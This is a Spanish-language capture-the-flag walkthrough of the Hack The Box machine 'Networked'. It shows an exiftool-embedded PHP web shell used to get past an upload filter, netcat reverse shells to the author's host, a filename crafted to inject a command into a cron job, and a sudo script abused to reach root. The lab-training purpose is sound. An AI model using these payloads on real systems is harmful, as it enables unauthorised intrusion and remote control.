This page looks best with JavaScript enabled

Hack The Box - Networked

 •  ✍️ sckull

Encontramos una pagina web donde pudimos subir una web shell realizando Bypass utilizando exiftool. Un CronJob nos permitio ejecutar una shell inversa y acceder al siguiente usuario. Escalamos privilegios ejecutando una shell a travez de un script de bash.

Informacion de la Maquina

Nombre Networked box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.146
Maker

guly

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.5, 4.8, 4.2, 5.8, 5.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[7, 5, 3, 7, 5],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

MASSCAN & NMAP

Escaneo de puertos tcp/udp con masscan y nmap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~/htb/networked# masscan -p1-65535,U:1-65535 10.10.10.146 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-27 23:43:29 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.146                                    
Discovered open port 22/tcp on 10.10.10.146

# Nmap 7.70 scan initiated Tue Aug 27 22:49:04 2019 as: nmap -sC -sV -p80,22 -o nmap.scan 10.10.10.146
Nmap scan report for 10.10.10.146
Host is up (0.087s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 27 22:49:14 2019 -- 1 IP address (1 host up) scanned in 10.16 seconds

HTTP

Visitamos la pagina que se encuentra en el puerto 80 y nos muestra lo siguiente.

image

Ademas de eso en el codigo fuente nos muestra un comentario relacionado a una galeria.

image

DIRBUSTER

Utilizamos dirbuster para busqueda de direcotrios y paginas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@kali:~/htb/networked# gobuster dir -u http://10.10.10.146/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -n -t 15
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.146/
[+] Threads:        15
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,html,php
[+] No status:      true
[+] Timeout:        10s
===============================================================
2019/08/27 22:46:10 Starting gobuster
===============================================================
/backup
/cgi-bin/
/cgi-bin/.html
/index.php
/index.php
/lib.php
/photos.php
/upload.php
/uploads
===============================================================
2019/08/27 22:48:15 Finished
===============================================================

BACKUP - backup.tar

Visitamos la pagina backup y encontramos un archivo ‘backup.tar’ que al extraer los archivos que contiene nos muestra el codigo fuente de las paginas que encontramos con dirbuster.

image

Analizamos el codigo fuente de los archivos, encontramos que, en la pagina upload.php podemos subir archivos de los cuales solo archivos de tipo imagen estan permitidos.

BYPASS - Upload Shell

Utilizamos exiftool para añadir codigo php para ejecucion de comandos en una de las imagenes que descargamos de photos.php, luego de esto cambiamos el nombre del archivo y le añadimos .php.jpg como extension.

1
2
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' 127.jpg
mv 127.jpg 127.php.jpg

Visitamos la pagina photos.php y nos aparece nuestra imagen/shell uploaded by 10_10_15_129.php.png.

image

Le pasamos los parametros ?cmd=whoami;pwd a nuestra imagen y nos devuelve la ejecucion de comandos, un tanto desordenada con los datos de la imagen.

image

Le pasamos parametros para obtener una shell inversa con netcat.

1
nc -e /bin/bash 10.10.15.129 1337

Obtenemos nuestra shell como usuario apache.

USUARIO - GULY

Dentro de los archivos que encontramos en la carpeta principal del usuario guly, de los cuales podemos leer solo dos, vemos un archivo de tipo cronjob y uno de php.

image

El archivo cron se encarga de ejecutar el comando php /home/guly/check_attack.php cada 3 mins.

El segundo archivo evalua los archivos que se encuentran en /var/www/html/uploads/, si encuentra un archivo que no esta dentro de las extensiones del whitelist de lib.php lo elimina, pero lo hace con los siguientes comandos:

1
2
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

Las variables que nos interesan son:

1
2
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';

Sabiendo esto vamos a aprovechar la segunda ejecucion de comandos, en la cual se le pasa los parametros:

1
nohup /bin/rm -f $path$value > /dev/null 2>&1 &

En este caso toma la variable $path donde se encuentran todos los archivos y $value el nombre del archivo a eliminar, en este caso seria de la siguiente forma /var/www/html/uploads/whatever.php, para aprovechar este comando utilizamos touch para crear el siguiente archivo (nombre):

1
; nc -c bash 10.10.15.129 1338

image

Y para cuando el cron se active y ejecute el archivo y, al borrar nuestro archivo va a ejecutar lo siguiente:

1
nohup /bin/rm -f /var/www/html/uploads/; nc -c bash 10.10.15.129 1338 > /dev/null 2>&1 &

Por lo que va a ejecutar nuestra shell inversa y obtenemos nuestra bandera user.txt.

image

PRIVILEGE ESCALATION

Agregamos nuestra clave a authorized_keys del usuario guly y nos logeamos al servicio ssh. Ejecutamos el comando sudo -l -l y nos muestra un archivo que se ejecuta como usuario root.

image

Jail Escaping Bash

Utilizamos la “tecnica” para escapar de una shell bash. Para ello al preguntarnos sobre las variables le pasamos un comando el cual va a ejecutar.

Jail Escaping Bash

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
/usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "interface $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "wrong input, try again"
		echo "interface $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

Antes de eso creamos un archivo el cual contiene una shell inversa, le damos permisos con el comando chmod +x archivo. Luego de eso ejecutamos el archivo con el comando sudo y le pasamos el comando bash /tmp/sh.

image

Por otro lado tenemos a la escucha netcat y obtenemos una shell con el usuario root y nuestra bandera root.txt.

image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe